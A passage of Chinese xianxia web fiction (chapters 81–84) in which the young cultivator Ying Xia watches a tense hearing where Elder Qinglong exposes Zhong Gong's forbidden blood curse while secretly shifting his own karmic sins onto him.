“在哪儿?”裴道远紧张地不自觉放轻了呼吸声,“他真的能躲过城主的搜查,那本事也太大了,何况他身上还带着重伤……” 还没等他说完,应夏便抬手指了指对面的屏风,那是青龙长老所在的雅间。 裴道远瞪大了眼睛,“真的是他?” 见应夏点了头,裴道远倒吸一口气,“难怪昨天晚上没有和城主解释什么,原来是真的有了仲公的把柄了,这么说找不到那魔修还真有道理,青龙长老好歹步入渡劫期了,想瞒过大家也不是很难。” “如果真的是这样的话,青龙长老他就不怕城主也怀疑到他身上么?毕竟魔修的事情其实和城主府的内鬼脱不了干系,很容易被仲公反泼脏水。” 穆槐序蹙着眉,“要不然,就是青龙长老已经完全掌握了定死仲公的铁证。” 应夏伸手点了点红果:“没错,这个魔修其实就是铁证。还记得我跟你们说那个复杂的咒术么?若是那个魔修身上的咒术还在,那么青龙就能很简单的印证仲公使用了魔修来续命,仅仅是这一点,便能至仲公死地。” “要是青龙下手快一点,就能在仲公反驳之前,先将他杀死。”裴道远低声道,“毕竟他的修为境界比仲公高很多,仲公在他面前简直犹如幼童。” “然而,最让人疑惑的点也在这里。” 裴道远又道,“我们之前便分析过,结合现在,如果青龙真的想让仲公死,即便是想找个适当的理由,其实有许多种办法,陷害、伪装意外等等,为什么偏偏要选这种方式呢?先是找魔修给仲公续命,再揭露此事杀了仲公,甚至还为此办了个拍卖会?” 应夏摇摇头,没有说话。 这也是他昨天去找宁妄的原因。 “你说那个魔修在青龙那里?!”宁妄同样震惊不已,“这么说来,这件事便全都是他一手策划的……可是,为什么要这么迂回呢?” 应夏将缠着金线的魔骨交给他,宁妄一脸疑惑且凝重地接下,“这是……魔骨?” “没错,本来是想等回到御兽门再交给你,如今……看来等不到御兽门了,你和青龙的恩怨可能在这中心城便能做个了结了。” 宁妄认真地看着手心的那节因功德金光缠绕而安分的魔骨,抿了抿唇,道:“我明白了,你想让我做什么?” 应夏布下层层隔绝咒术后,才与宁妄说了几句话,只见他逐渐变得愤怒起来。 “他居然……!!”宁妄最后还是忍住了,“这事你是怎么发现的?” 这是他获得童彤的记忆后,再结合今晚一遭才突然想明白的,但是应夏没有正面回答,只是说:“这不重要,重要的是如何阻止青龙,如果让他得逞的话……” 宁妄兀地紧握住魔骨,慎重道:“我知道了,你说的事情我会照做的。” 时间回到现在。 应夏知道宁妄是去做什么了,但是他不知道温却沧消失是因为什么。魔修在青龙那里所以不可能是这件事,那么还会有什么呢? 难道师父他也知道了青龙……?不,不可能,若是知道绝对不会独自离开,而是应该像宁妄一样,在暗中紧紧盯着青龙的一举一动。 80-90 第81章 第 81 章 你不会下地狱的,青龙也…… 正当应夏毫无头绪之时, 窗户外那条留来迎客的路上开始逐渐喧嚣起来,估摸着丹顶阁阁主要来了。 除了他们这个雅间之外,应夏还能感觉到屏风外魔骨传来的异动, 他蹙了蹙眉,捏住小指——那儿缠着透明丝线,是他与隐匿身形的宁妄传达讯息的唯一途径- “除了这个魔骨, 你再吞了这枚药丸。”应夏将一枚纯黑的丹药递给宁妄。 他还没来得及解释,宁妄接过后就仰头吞下。 应夏惊讶道:“你怎么不多问一句, 若是这药丸有毒怎么办?” 宁妄吞下后笑了笑,一副十分信任他的模样,“我的命本来就是你救回来的,即便这是毒药, 只要是你递给我的我就不会拒绝,大不了再将这条命还给你呗。” 应夏听了却摇摇头,说:“你不是这么想的,在我面前不必伪装, 还没杀死你的仇人, 你怎么舍得去死。你不过是知道我不会伤害你罢了, 毕竟这个时候我也没有理由。” 宁妄摸了摸手腕上抬起的小小蛇头,垂下目光点了点头,“没错,即便是死, 我也要拉着青龙他们一起下地狱。” “你不会下地狱的, 青龙也不会。” “什么?” 应夏没有再多做解释, 反而说了关于这个药丸的用途:“因为青龙是渡劫期,我们两个的修为完全不够看,而且在如此近的距离之下用传音也很容易暴露你的隐匿位置。” 宁妄点点头, 等待着他接下来的话。 “这枚药丸是我特制的。”实际上只是混入了用功德金光禁锢的魔气,好让他们两个之间有除了传音之外的媒介,这样便能通过魔气交流,在加上功德金光伪装成普通的灵气,就连渡劫期的修士也发现不了。 一开始他想的是做成外置的首饰一类,不过这些东西的效果不如直接藏于体内的好,人体又是一层绝佳的隔绝器。 “你吞下后,就能不动用灵力与我传音,只不过需要我先给你传递讯息,你才能和我互相传音,如果是你单方面想与我说话是不行的。”毕竟宁妄不能控制魔气,而且他会跟在青龙身边,就算能调用魔气也十分危险。 宁妄的接受度良好,还有些惊喜地看着应夏道:“没想到你还精通炼丹之道,有这个丹药确实方便许多,竟是能瞒过渡劫期道君……应夏,你可真厉害!” 应夏摇了摇头,并不承下这份功劳,毕竟都是靠功德金光。 “不过你要格外注意,即便我给你传音了,你也不可泄露一丝一毫的灵力或者气息,否则青龙也会发现异常的。” “我明白。”- “宁妄,我说过不要乱动。”应夏捏着小指传音道。 那边好一会儿没有传来消息,直到丹顶阁阁主与谭阳羽说笑着走进了这座楼阁,宁妄才传来话语,“抱歉,刚刚那个魔修发出了点异动,所以我有些没控制住,不过青龙并没有发现,好像都是归结于那个魔修发出的异样上了。” 应夏皱着眉问:“那魔修做了什么?” “他只是想跑而已,不过他身上有着比裴道远描述的更多更坚实的枷锁,应该是用来防止他再次逃跑的。”宁妄轻声说道,“刚刚他好像留了一些灵力小小地爆发了一下,不过似乎被青龙料到镇压下去了。” 他的言语中透露着一丝同情,不过很快便转化为对青龙的恨意。 应夏说:“丹顶阁阁主到了,到时候你更要小心些。” 据说这次丹顶阁阁主虽然半途出关,但还是已经达到了渡劫期,这时候在城主府内,便是有两个渡劫期。只不过不知道这个丹顶阁阁主,是站在谁一边的。 应夏暗自思索着。 裴道远见人已经进了用来议事的房间,站起了身,一旁的穆槐序见状疑惑,“你站起来做什么?城主又不是让我们过去旁听。” “谁说城主不会的?”裴道远挑眉道,“你看着吧,很快他便会派人来请我们了。” 穆槐序蹙眉,“为什么?我们又不是什么重要人物。” 裴道远将扇面打开,一副秀丽的山水画卷徐徐展开,上头跃动的水墨彰显着持有者精湛的控制力。 “我们是重要人物。我们可是去探过暗面拍卖会的人,怎么可能不叫上我们?”裴道远说,“而且,此次拍卖会是由中心城、御兽门和丹顶阁一起举办,如今发生了这种事情,这三方都有责任。我们则是第四方,算是事件中较为中立客观的一方,而且背后又是修仙界第一大宗门玄衍宗……” “啧啧,若是小师叔在这里就更有说服力一些。”裴道远将扇子轻轻扇着风,扇面上的山水随之流动,精妙无比,“等着吧,城主很快就会叫上我们了。” 穆槐序却道:“若是小师叔在这里我倒是相信,但现在小师叔也不知道去哪儿……” 说着,他转头看向应夏,问:“应夏你说……” “等等,先别说话。”应夏蓦地抬手做了个噤声的动作,屋子里陡然静了下来。 好一会儿都没有发出任何声音,就连呼吸声都悄悄收敛起来。 应夏蹙着眉,正通过宁妄身上的魔气探听他们的谈话,却一直是朦朦胧胧的,有一句每一句的,应该是宁妄怕被发现,不敢跟的太近。 但是这样反而不太妙,应夏让宁妄特意盯着青龙,若是现在这个距离,行动会来不及的。 裴道远和穆槐序二人见应夏的神色逐渐凝重起来,更不敢出声了,二人一直维持着原来的姿势,甚至连裴道远手上扇面的那幅灵动的山水都不动了。 大概过去了半刻钟,应夏才慢慢松了口气,对二人道:“可以了,他们应该要来找我们过去了。” 听到他这么说,裴道远突然想到些什么,将扇子遮住嘴唇,低声问他道:“宁妄没有和我们一起过来,难道是你让他……” 被他猜出来在应夏意料之中,见他看破了便也不再隐瞒,点了点头,说:“没错,我让宁妄带着隐匿符跟在青龙身边盯着他,以便届时有什么事可以快速反应。” “是因为那个魔修?”裴道远猜测道。 应夏眨了下眼睛,说:“是,但又不完全是。” “都现在了,你还打什么哑谜呀!”裴道远收起扇子,走到应夏身边,打算坐在他边上跟他好好说说。 应夏却在他屁股刚碰到座位时,道:“别坐下了……” 话还没说,雅间的屏风外站着一个仆从,是城主来叫他们过去。 “马上就走了。”应夏站了起来,一边把后边半句话补完。 裴道远:“……” 第82章 第 82 章 这术法确实厉害。…… 应夏几人被请到那里时, 谭阳羽正与丹顶阁阁主说着话,一边坐着闲适喝茶的仲公,另一边则是御兽门的人。 丹顶阁阁主看上去特别年轻, 甚至比他们几人都童颜,与谭阳羽说话时即便一直蹙着眉,也并不觉得严肃反而觉得有些稚嫩的可爱。 真没想到丹顶阁阁主竟是这样的人。 应夏正大光明地打量着, 毕竟大家一进来看见的便是谭阳羽与他,余光瞥见裴道远与穆槐序似乎也与他同样惊讶, 只不过穆槐序只波动了一瞬便很快掩盖过去,而裴道远并没有掩盖这个惊讶。 他恰到好处地与屋内人行礼,并看似十分好奇丹顶阁阁主的模样,一直盯着人家, 感受到丹顶阁阁主转过来看他,裴道远才带着些许歉意,道:“抱歉,恕晚辈失礼。” 谭阳羽见状笑了两声, 伸手拍了拍丹顶阁阁主的肩膀, 说:“你看也不是我一人这么觉得, 平沧你这脸长得也太嫩了!一开始我都差点没认出来你,以前你不都是长着满脸胡子的么?这一刮掉倒是看上去只有十几二十岁。” “我并没有责怪这位小友的意思。”丹顶阁阁主名为任平沧,他叹了口气,道, “原本我就是在闭关炼丹, 并无闲暇打理自身, 这次是出门来谈正事,自然要稍微打理一下,因为事情紧急我索性就……” 说着他摸了摸自己光滑的下巴, 十分不习惯自己这副模样,愁眉苦脸道:“你也别取笑我了,而且这时候还是谈论正事要紧。” 闻言应夏挑眉,长得如此童颜,说出来的话倒像是几百岁的老头,哦也对,丹顶阁阁主本就活了几百岁,年纪比在场的几位都大,只是听说一贯沉迷闭关炼丹,不怎么管理门内俗务。 这便让他想起了北天剑宗,他们的宗主也因不管事物而更容易被其他管事的人暗中搞鬼,这个仲公恐怕也是如此。 谭阳羽点点头,让应夏几人也坐在一边,才道:“还有几人,马上到了。” “城主,我不知道你把我们召集过来,在这里等谁?怎么就只有几个脸生的小辈?”开口说话的是坐在左边的御兽门的人。 他身着御兽门服饰,腰间挂着三块兽形令牌,这是象征着他有三个契约兽的意思。这人并非青龙,但是青龙一派的人。 早在应夏他们进房间时,他便神色不耐地打量几人,瞧见只是几个金丹期的小辈更是态度轻蔑,刚才丹顶阁阁主与他们说笑时也是频频想要打断,但畏惧渡劫期的阁主任平沧没有说话。 “常希,不得无礼。”斥他的人便是青龙,他看上去比应夏想象中的更普通。 没错,是太普通了。 杀害朱雀、挖取宁妄妖丹的青龙长老,竟是一个看上去极为普通的人,他的样貌顶多算上清秀,放在人群里就像一个有些气质的白面书生。 平凡又无害。 可这仅仅只是表面,应夏是清楚他手上到底是沾了恶孽的,是一个人面兽心的畜生。 应夏可还没忘记,这个看上去像个手无缚鸡之力的书生的人,可是实打实的渡劫期,在场能与他有一战之力的也只有丹顶阁阁主任平沧了。 今日这次有关暗面拍卖会的谈判会,青龙带了两个人来,一是刚刚脾气有些暴躁的常希,二是一直坐在后面低着头沉默不说话的一名弟子,他的存在感更低,一直没有发出任何声响,甚至不仔细一点都有可能忽视他的存在。 应夏突然觉得不太对劲,他趁着青龙与谭阳羽说话的空档,暗自戳了戳身边坐着的裴道远,然后用小石头传递给他一个问题。 ——因为在两个渡劫期道君面前,传音会很容易被发现,所以应夏想到用小石头传话,灵的媒介是世间万物,通过灵传音不容易被发现。但这个方法仅限于两个人很近,所以宁妄当时并不适用。 “你有没有看见青龙身边的另一个人?” 裴道远奇怪:“另一个人?他不就带着一个人,那人叫常希吗?哪里还有第二个人?” 应夏沉默了,裴道远倒是被这个问题惊到了,努力看了好几眼御兽门那边,确实只看见了两个人。 他还疑惑道:“你怎么会说青龙带着两个人,难道另一个人他施展了遮眼法我们都没看见?可是就算青龙是渡劫期,但在同为渡劫期的丹顶阁阁主面前,他怎么会敢这么做?” 应夏陷入了沉思,没有理会裴道远源源不断的问题。 没有回应,裴道远也逐渐安静下来,视线一直没有离开坐在对面的御兽门二人,还偶尔观察着屋内其他人,他们的目光都没有落在过除青龙和常希之外。 但是应夏既然说了这事,也不会是无中生有,难道那儿真的还坐了一个人?那就连丹顶阁阁主都没看出来……裴道远不禁生出一丝冷汗。 结合应夏之前对青龙的推测,很快便明白,这可能是青龙的术法,难怪他还要带着另一个看起来很会惹事的人,便是因为这个术法的限制吧? 应夏大体能摸索出这个术法的限制,为了隐匿另一个人,需要一个存在感强的人才吸引目光,这样大家才能完全察觉不到另一人的存在。 至于为什么这个术法对应夏没用,大概是因为自己对魔气还是灵气的感知都十分敏锐,绝不会忽视任何一个生命体的存在。刚刚也悄悄问过小石头,小石头说它可以看见。 “这人怪怪的,气息是真的很弱。”小石头在应夏的意识海中说话。 应夏想了想,伸手摸上了小指的隐形丝线,询问宁妄是否能看见这人,毕竟这人应该就是青龙此次行动的关键了。 想到这里,应夏突然自己明白过来,这人是魔修?! 宁妄说过青龙这次是带着魔修的,但是这里并未察觉到魔修的气息,那么肯定是他用了什么方式遮掩,再加上这个存在感极低的人,看来青龙他是选择这种术法加以遮掩。 而且效果非常不错,即便有人看到了那个人,也会像应夏一样,只觉得他存在感低也察觉不出他是魔修。而现在的情况对青龙更为有利,术法太成功了,根本就没有人察觉到他还带着另外一个人! 青龙竟然敢堂而皇之的将魔修带过来,应该是想要试探丹顶阁阁主的实力,可据他观察,任平沧并未向那另一人投去目光,也不知道是受术法影响没发现,还是单纯没去瞧他。 所以刚刚常希突然发难,是想要观察任平沧到底是哪种情况吧?虽然有些风险,但是常希引起更多的关注,这个术法也就影响更深。 糟了,刚刚没有第一时间去观察任平沧,现在已经过去了好一会儿时间,也不知道任平沧究竟知不知道还有另一人存在。 应夏抿着唇,不过事态的发展还在可控范围内,即便没有丹顶阁阁主的助力,单凭宁妄一人也可以阻止青龙。便是因此,应夏才让宁妄紧盯着他。 “……好了,人来了。”谭阳羽挥了挥手,让另外的几人也坐下。 那几人与应夏他们年纪差不多,修为也在金丹期上下,有的是散修,还有的是一些小门小派的弟子。 “我叫这些人过来是因为他们知道有关暗面拍卖会的事情。”谭阳羽又温和地与他们说道,“你们不必害怕,在那里见到了什么便说什么。” 谭阳羽是特意挑选过的,将御兽门与丹顶阁的弟子或相关人员都剔除,只留下与这两方势力无关的人员,这样来讲述的有关消息更为可靠一些。 同样也是为了不让应夏他们几人过为瞩目,在昨日城主便与他们说好,会找另外的人来讲述他们所见的东西,而他们说的将会是一些鸡毛蒜皮的小事,这也是为了保护他们。 不怪穆槐序以为有了这个他们不必在场,但应夏和裴道远的意见相同,这个时候谭阳羽一定也会让他们一起过去。 但是在现场太过危险了,若是青龙或者仲公真的发难,谭阳羽顾不上他们的安危,原本有温却沧在…… 不过,这若真是谭阳羽的决策,温却沧断不会扔下他们,所以是城主另有安排,还是……? 应夏皱着眉头,一边听着其他人的叙述,一边观察着几人。 仲公依旧是一副平淡事不关己的模样,丹顶阁阁主任平沧的神色越来越凝重,至于青龙,他的表情也与任平沧差不多,只有常希在人家还没说完话的时候就嚷嚷。 “你不会是想好了说辞污蔑我们御兽门的吧?什么见到很多御兽门弟子,怎么像是全把锅都甩给我们御兽门?”语气中透着威胁,常希的胆子也是太大了,竟是敢在一众大佬面前威胁别人,也难怪青龙带着他来了,这人真是不会让别人的注意力从他身上挪开,即便是厌恶的。 就连应夏自己都好几次差点忽视了另一人魔修的存在,若是真的忽视了,可能就再也察觉不到这人了。 应夏暗自咋舌,这术法确实厉害。 “闭嘴!” 谭阳羽喝道,气势瞬间铺开去,令常希浑身颤抖,额头溢出了晶莹汗水,他坐倒在椅子上,脸色苍白。 青龙立刻出来打圆场,同时护住常希,道:“对不起,是我管教不严,常希此行也是太在意御兽门了,请城主手下留情。” 他都这么说了,谭阳羽只好收回压制,提醒道:“我只能再容忍一次,若下次再犯,可别怪我。” “我明白。”青龙又转头对常希说了好多不轻不重的教训的话,此时众人的注意力全在他们身上了。 应夏突然嗅到了什么危险,但还没等他反应过来,坐在一旁一直没有说话的仲公突然发难了。 “青龙,在城主还有我们阁主面前就不必演戏了。”仲公朝谭阳羽与任平沧拱手道,“我敢肯定,这些人说的都是真的,而且我还有切实的证据。” “哦?是什么?”任平沧连忙追问。 当事人青龙却并没有显露出焦急或者恐惧的神色,而是淡淡地笑了下,道:“仲公可不能血口喷人随意污蔑。” “有没有污蔑你心里不清楚吗?”仲公冷笑道,虽然他十分针对青龙,但仍是朝谭阳羽建议道,“接下来的事情,几位少年人不便在场,到时候怕青龙着急伤了他们,若是再被挟持可就不妙了。请城主让他们都下去吧。” 青龙脸上的表情未变,但是笑意却凉了下去,道:“仲公,你怎么会如此看我?” 二人的气氛一时变得剑拔弩张,十分不妙。 谭阳羽没有说话,反倒是丹顶阁阁主任平沧皱着眉开口,“仲公,你手上到底有什么证据?可不能空口污蔑,而且暂时还是先别让他们走,将证据拿出来判定好结果为上,不然这事到时候传出去可不好听。丹顶阁也会因为你的言行受影响,你明白吗?” 应夏有些意外,本以为任平沧只顾炼丹完全不管事,看来也并非如此,他会在意丹顶阁的名声,毕竟丹顶阁可是遍布修仙界各处售卖药材灵丹,若是名声坏了,那可就断了好大一财路。 炼丹的消耗是十分巨大,更何况丹顶阁内还养着一大批炼丹师。 “至于你的担心……”任平沧看了眼一众弟子,抬手扔了一个法器,那法器落地后直接给他们架起了一圈光幕,将几个人全部笼罩在里面,“这是天品法器,可以抵挡任何术法与攻击,即便是渡劫期修士也不行。不过时效只有两个时辰,这个时间里也足够判清事件真相了。” 仲公摸了摸胡子,道:“既然阁主都这么说了,那老身便一一道来。” 他拿出了那条铁链,将与谭阳羽说过的说辞又复述了一遍,甚至比上次还要激动,像是已经将青龙定罪了一般,说完后便请任平沧出手杀掉青龙。 “这确实是缚魔锁。”任平沧小心查看着,也感受到了铁链上的妖力,他看向青龙,问道,“青龙长老可对这个铁链有印象?上头确实存在着你的妖力。” 青龙看着那铁链不慌不忙道:“仅凭一条铁链可不能说明什么。” “这就是证据!”仲公道,“你怎么解释这上头既有魔气又有你的妖力?那魔气与在爆炸的酒楼处发现的一模一样,你还敢说和你没有关系?!” 第83章 第 83 章 仲公依旧步步紧逼。…… “是么?”青龙微微歪了下头, 眯起眼睛看向仲公,“不过是妖力,万一是有人故意将我的妖力放在上面的呢?再说了, 仲公,你是如何得到这段铁链的?” 仲公气愤地挥袖,道:“青龙, 你别转移话题了,谁能拿到你的妖力?你可是堂堂渡劫期, 有人拿了你的妖力你会不知道?恐怕就是不小心留下的吧?那暗面拍卖会根本就是你一手策划的!” “我不会再像之前那样被你蒙骗了,你与我提议举办拍卖会,恐怕也是为了这地下的见不得光的拍卖会吧?居然跟魔修有勾结,你真是好大的胆子!” 青龙笑而不语, 转头看向上座的中心城城主与丹顶阁阁主,问道:“两位不会也听信了仲公的一面之词吧?” 仲公像是气不过他这副目中无人的模样,大喝道:“什么一面之词,这是铁证如山!青龙, 我劝你早说实话, 否则……咳咳!” “好了。”丹顶阁阁主任平沧发话了, 他让仲公先坐回去,“仲公别动气,你的身体本就不好,先坐下, 此事我们一定会调查清楚。” 仲公甩袖坐下, 灌了两口茶压下喉间痒意。 应夏也顺手端起手边的茶, 放到鼻前轻嗅,倒是普通的灵茶,应该是城主准备的, 青龙不至于在这茶水上做手脚。 一直沉默看着仲公与青龙对峙的谭阳羽终于开口了,他直入主题,问道:“青龙长老,此事确实需要一个解释,如若不然无法服众,这缚魔锁上确有你的妖力。” 任平沧也站在谭阳羽这一边,看向青龙的眼神带着些疑问,“仲公所言并非没有道理,青龙长老已是渡劫期,就算如你所言有人故意陷害,可怎么会有人能在你不知情的情况下取得你的妖力呢?” “而且据我所知,御兽门的长老们虽因修行功法的缘故有部分妖化,但并不轻易动用妖力,一般都是用灵力,如此……这缚魔锁上的妖力又作何解释?” 青龙却浅浅一笑,看了眼掩着唇咳嗽的仲公,又饶有兴致地将目光扫过谭阳羽,最后将目光落在任平沧身上,突然叹了口气,轻轻摇头道:“既然如此急切想将一切名头安在我头上,仲公你便休怪我无情了。” 被点名的仲公冷哼一声,根本不认为他会有其他招数,而且就算有,他难道还没有后招吗? 没错,除了那段缚魔锁,仲公实际上还有一件杀手锏,只不过若是这个拿出来了,那他自己也摘不干净了,所以没有告知谭阳羽。 不过若是情况有变,青龙确实暗中握住了他的把柄,他也可有底牌反击。 仲公眸光晦暗,却不知其实他的想法都已经被青龙所掌握。 青龙面上露出几丝惋惜,叹息道:“任阁主,你闭关许久,可能不知道仲公在你眼皮子底下做了多少恶事吧?” 仲公立刻反驳:“呵,说我泼脏水,这时候青龙你不也是?拿不出证明自己清白的证据,便要污蔑别人。” 他朝任平沧拱手,神态恭敬,“我对阁主是最为敬服,阁主亦是信任我才给予我一些权力,我怎么会辜负阁主的信任?” 虽然嘴上这么说着,但他心里已经百转千回,回想着自己到底是哪里有疏漏被青龙抓住了,但他手段可所谓干净,就连青龙自己提议暗面拍卖会一事,他也从不经手,不过提几项建议罢了。 所有事情都是由御兽门承办的,这也是仲公当时答应青龙联合举办的一大原因。再加上青龙带给他的“礼物”实在是合他心意,他本就苦于这病体无法,再多再好的灵丹妙药灌下去也无法挽救,可利用那续命咒术就完全不同了。 仲公立刻想到青龙可能会借此发难,所以当时那魔修企图逃跑时,他便不顾咒术反噬当场击毙吞噬,虽受了内伤,但却意外吃透了那续命咒术,等熬过这一劫后,他便可以不借青龙的手,自己暗中寻找适合的受体。 闻言,青龙轻笑了两声,忍不住鼓掌道:“仲公,这些冠冕堂皇的话还是不要说了,否则到时候打脸得可是会更狠。” 在仲公再次反驳之前,青龙道:“你不是一直想知道为何这个缚魔锁上有我的妖力么?” 青龙顿了顿,打了一个响指,应夏便感觉到那个隐匿魔修的术法似乎散去了,其他人立刻察觉到房间内有多余的一人存在。 裴道远压抑住惊讶,立即锁定那个坐在青龙不远处的人,那人浑身上下被黑袍包裹起来,头低得很低,看不见脸。 这就是应夏说的另一个人?!他是一直就在这里的? 青龙不顾在座其他人的震惊,继续说道:“因为缚魔锁确实是我的,而我也是因为用了这缚魔锁抓了一个魔修,所以才残留些妖力在上面。” “哈哈哈!”仲公被青龙这段自爆的话语惊喜到了,他大笑道,“果然如此!你就是那个暗面拍卖会的主谋,竟是无耻到与魔修为伍!你不会还是想解释说,你这些举措都是为了抓魔修吧?堂堂渡劫期道君何至于此?” 青龙也跟着笑,不过没有笑得那么夸张,依旧温和如春风,“当然不是。因为我抓这个魔修跟暗面拍卖会完全没有关系,我根本不知道还有另一场拍卖会的存在。” “你还在睁眼说瞎话!”仲公突然觉得他这句话说得奇怪,又仔细去瞧了那个魔修,并未感觉到他有什么特别的,就是普通的魔修,而那个被用来续命的魔修早就被他杀死吞食,不可能出现在这里。 青龙没有去理会仲公,继续说道:“这个魔修是我在出事的酒楼外抓住的,本来他该被我当场击毙,但是出于一些缘由,我留了他一命,至于那条缚魔锁……这个魔修十分狡猾,抓他的时候缚魔锁被他震碎了,所以我只好用了其他办法抓住他。” “仲公手上的这个,估计就是那时候留在了那里。” “青龙长老,编故事也要讲究逻辑,酒楼那时有这么多人,怎么会没有看见那魔修,反而偏偏就被你一人看见了?”仲公依旧步步紧逼,“你说是你用来抓魔修的,可有什么其他证据?” 没等青龙说话,仲公直接下了定论,“分明就是暗面拍卖会一事暴露,你便正好抓住一个魔修想拿来脱罪吧?” 被多次指责,青龙依然没有生气,反而叹息道:“仲公,你如此心急得想将我定罪,可是心虚了?” “我心虚什么?又不是我办的暗面拍卖会。”这话倒也不假,此事他从未经手。 青龙又叹了口气,而后抬手揭下了身边魔修的黑袍,他身上的血咒术立刻显露出来。 众人都瞪大眼睛看着那魔修身上的血咒,谭阳羽皱眉神色凝重,任平沧甚至坐不住了走下来凑近看那魔修。 仲公却当即大惊失色,但这个情绪也只是转瞬间,活了上百年的他立刻转动思绪。不可能,那魔修已被他吞食,他可是亲自吞食干净的,连一点渣渣都没留下,怎么会突然又出现一个? 不过眼珠一转,仲公便明白了,这是青龙抓了另一个魔修,然后在他身上也施加续命咒术,想要将罪责定在他身上罢了。 可是青龙还是太嫩了,续命的血咒术需要一个接受者,但他从未接触过第二个魔修,即便青龙再次在魔修身上施加续命咒术,也不能说明这咒术的得利者是他。 想通这一点之后,仲公冷静了下来,准备接招。 “这咒术是……”任平沧仔细观察着那个咒术,一张童颜紧皱。 青龙道:“阁主想的不错,这是上古禁忌血咒,是天道不容的用来以命续命的咒术。” 在场的人都被此言惊到说不出话来。 仲公冷笑道:“青龙,你不会是想说对这魔修施加咒术的人是我吧?这话可不能乱说。” 青龙却点点头,“是啊,仲公,这名魔修明明就是从你手中逃出来的。” 不等仲公反驳,任平沧立刻开口:“青龙长老,此事事关重大,你可不能信口开河。但如若你说的是真的,不用其他人动手,我立刻清理门户!” 青龙拱手,像是十分敬佩似的,道:“阁主高见,不过我若是没有切实的证据,便不会将这魔修留下,想要证实这个魔修身上的血咒术的接受者是谁,很简单,只需要破解这个血咒术,那么得利者便会被咒术反噬。到时候……” 说着,他看向仲公,虽没有将后半句话说完,但大家都明白他的意思。若是破咒之后,仲公身上出现了反噬,那么是谁下咒的就不言而喻了。 “如何破咒?”任平沧问道。 青龙道:“对于渡劫期来说,破咒也十分简单,阁主便由你来吧,我毕竟也是嫌疑人,怕仲公说我做手脚,还是不动手为好。城主,也一起做个见证吧?” 谭阳羽点点头,“可。” 但应夏并不觉得任平沧能顺利破咒,倒不是指那血咒术难破,而是一旁的仲公。 他面上沉静,但应夏能感觉到他周身的灵力已不稳,甚至已经能嗅到起势的味道,即便仲公再有把握,这时候也不会眼睁睁看着青龙顺利施展他的计划吧? 应夏并没有看对面的几人破咒,反而注意力一直放在仲公身上。 他逐渐眯起眼睛,他感觉到了,那是…… 第84章 第 84 章 “朱雀?你怎么会变成这…… 就在谭阳羽与任平沧聚精会神于那魔修身上的血咒之时, 仲公突然暴起,一阵红光闪过,应夏还没来得及看清, 便首先察觉到了来自渡劫期的巨大压力。 时间在此刻凝滞似的,就连仲公突然抬掌的姿势都被凝固。 “没想到竟是阁主您亲自出手了。”青龙勾了勾唇角,看向慢慢放下手的任平沧, 并未多言,只是看向仲公时, 不免又添油加醋几句,“仲公,你这么心急,看来确实是害怕城主与阁主一起戳破你的谎言呀。” 任平沧瞥了一眼说的话的青龙, 又看向仲公许久,随后甩袖叹了口气,道:“若此事当真,我自会清理门户, 青龙长老你不必多言。” 青龙摊了摊手, 露出一个善意的笑容, 说:“阁主请,这回总不会有人打扰了。” 被几位实力境界强盛的大佬们围着,那魔修逐渐显露出痛苦的神色,这可是还未开始解咒呢, 仅凭气势便能压制如此, 使得那名魔修畏惧起来。 屋内其他人都将注意力放在魔修解咒上, 但应夏却仍是死死盯着仲公,他觉得非常不对劲。 即便丹顶阁阁主亲自出手封住了仲公的行动,可他并没有感觉到刚刚那诡异的味道有任何减弱或消逝的迹象, 反而因被高境界的压制而聚集得更为迅速、汹涌! 应夏注意到,随着那魔修身上的血咒逐渐解开,仲公身上的诡异气息也像是解开什么封印似的,越来越多,像是有一团浓稠的黑气整个罩住了仲公。 但是这种诡异现象,除了应夏之外竟无一人注意到! 应夏皱着眉,神色凝重,这黑气并非魔气,也不是怨气或者妖气,这是…… 虽然他已有所觉察,也有所猜测,但在亲眼见到之前,他实际上是有些无法相信青龙竟然敢这么做。但如今眼前的景象已让他不得不承认,青龙竟然真的敢这么做! 仲公身上缠绕满溢而出的是恶业!是业障! 那浓度与体量绝对不是仲公一人所能做出来的,更何况上头的恶业除了人魂之外还生着许多妖魄与魔气! 如果世间有人身上背负着这么多的恶业,那他会立刻被天道所消除,不是降下雷劫,而是会自燃,红莲业火会将其人燃烧殆尽,连同那灵魂一起。 而且如此汹涌的量竟是全部积攒在一个人身上,这是绝对不可能的,若真是如此,那么这个人绝对不会活到现在! 天道绝对不会允许他的存在。 “轰隆——!” 顷刻间,原本晴空万里的天变了,雷云在转瞬间聚集起来,响彻云霄的雷声陡然在耳边炸开,惊得屋内众人神色一凛。 “怎么回事?”裴道远后知后觉地瞪大眼睛,“难道是老天爷都看不过去了?” 任平沧也察觉到了异样,但是他正在解咒的关键时刻,不能分心。而谭阳羽退开几步,用平生最快的速度转身抬手想要控制住已是满身黑气的仲公,但仍是太迟了。 “轰隆——!” 又一声雷响,魔修身上的血咒被彻底解开,而就在任平沧收手之时,却发现面前的魔修被火舌瞬间吞噬成灰烬,要不是他反应快,甚至还要被牵连。 任平沧的疑惑还没问出口,首先转身与谭阳羽一起迎面挡下了拥有着可怖气势的一击。 “怎么回事?”任平沧看见面前已是变成浓稠黑色液体的一大团,勉强能看出一些人形,刚才便是这个东西攻击他们。 谭阳羽立刻解释道:“是仲公,你解开血咒之后,他就变成这样了。” 而就在此时,青龙的声音从身后传来,“仲公这是……入魔了?” 闻言应夏挑眉,没想到都这个时候了他还在装,明明仲公变成这副模样都是拜他所赐。 没错,仲公身上的恶业与业障都是青龙做的。 起初应夏想不通为什么青龙要如此费尽周折的给仲公下圈套,如今却是完完全全想通了。 如宁妄所言,青龙作恶多端,做下的许多事都是天道所不容的,若真是如此,青龙早就应该被天雷劈得渣都不剩,但事实却并非如此,青龙依旧活得好好的,甚至修为境界都提升了一大截。 这就很让人疑惑了,应夏不会怀疑天道不公,他第一时间想到的便是青龙可能有什么能躲过天道的东西,而在经历中心城的事情之后,他便想到了一个可能性。 青龙,他是想把自己身上的恶果与业障都转移到其他人身上,让他人来承担自己的恶业,而这个人选便是仲公! 这种匪夷所思的事情,在应夏的传承记忆中只出现过一次,而那一次记忆中的那人并没有成功,而没有成功的原因……便是应夏让宁妄伏击青龙的原因。 就在任平沧与谭阳羽合力准备回击仲公之时,异变骤生! 房间内的地底突然由红色的线快速绘制出血色的阵纹来,众人都没来得及反应,一条巨大的黑蛇不知从哪里蹿了出来,张开血盆大口将那浓郁的黑气连带着仲公一起吞入腹中。 血色的阵纹竟像是半途被人截断了什么似的,又快速消弭下去。 